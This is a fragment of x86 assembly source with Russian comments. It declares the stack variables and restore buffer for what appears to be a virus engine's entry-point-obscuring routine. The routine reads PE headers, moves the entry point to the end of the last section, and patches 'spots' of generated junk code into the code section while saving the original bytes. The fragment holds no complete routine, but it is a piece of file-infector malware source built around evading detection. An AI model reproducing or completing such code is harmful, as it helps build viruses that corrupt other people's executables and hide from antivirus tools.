;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции mix_addr
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;========================================================================================================
;вспомогательные переменные (находятся в стэке)
;========================================================================================================
imNTh equ dword ptr [ebp-04] ;указатель на IMAGE_NT_HEADERS
old_ep equ dword ptr [ebp-08] ;старая точка входа
base equ dword ptr [ebp-12] ;ImageBase
new_ep equ dword ptr [ebp-16] ;новая точка входа (в конец последней секции)
start_addr equ dword ptr [ebp-20] ;физический адрес точки входа (+ база мэппинга)
codesec equ dword ptr [ebp-24] ;указатель на кодовую секцию в табличке секций
size_codesec equ dword ptr [ebp-28] ;размер в кодовой секции, который реально можно использовать для записи пятен
max_codesec_addr equ dword ptr [ebp-32] ;максимальный допустимый адрес в кодовой секции, до которого можно записывать пятна
cur_codesec_addr equ dword ptr [ebp-36] ;текущий адрес в кодовой секции (используется для получения очередного адреса нового пятнышка)
num_spots equ dword ptr [ebp-40] ;кол-во реально записанных пятен в кодовую секцию
beg_rest_bytes equ dword ptr [ebp-44] ;адрес буфера, где хранится кол-во записанных пятен, размеры их, адреса, а также оригинальные байты кодовой секции
cur_rest_bytes equ dword ptr [ebp-48] ;текущий адрес в буфере (вспомогтальная переменная), куда сохраняем оригинальные байты кодовой секции etc
spot1 equ dword ptr [ebp-52] ;размер 1-ой порции мусора (этих первых порций мусора столько, сколько пятен будем записывать) (также вспомогательная переменная)
spot2 equ dword ptr [ebp-56] ;размер 2-ой порции мусора etc
tgen_struct equ dword ptr [ebp-60] ;адрес структуры TRASHGEN (для трэшгена xTG - или другого тэшгена)
xtmask1 equ dword ptr [ebp-64] ;новая маска1
xtmask2 equ dword ptr [ebp-68] ;новая маска2
restore_bytes db MAX_SPOTS*(uportion1+uportion2+7+10)+MAX_SPOTS*(4+4)+101 dup (00h);буфер, представляющий собой следующую структуру:
;num_spots db 1 ;кол-во записанных пятен в кодовой секции
;size_spot1 dd 1 ;размер очередного пятна
;addr_spot1 dd 1 ;адрес очередного пятнышка
;save_bytes1 db size_spot1 ;сохраненные оригинальные байты (вместо которых мы и записали очередное пятно)
;size_spot2 dd 1 ;etc
;addr_spot2 dd 1
;save_bytes2 db size_spot2
;...
;size_spot(num_spots) dd 1
;addr_spot(num_spots) dd 1
;save_bytes(num_spots) db size_spot(num_spots)
UEP_RESTBYTES_SIZE equ $ - restore_bytes ;размер буфера, что выше
;========================================================================================================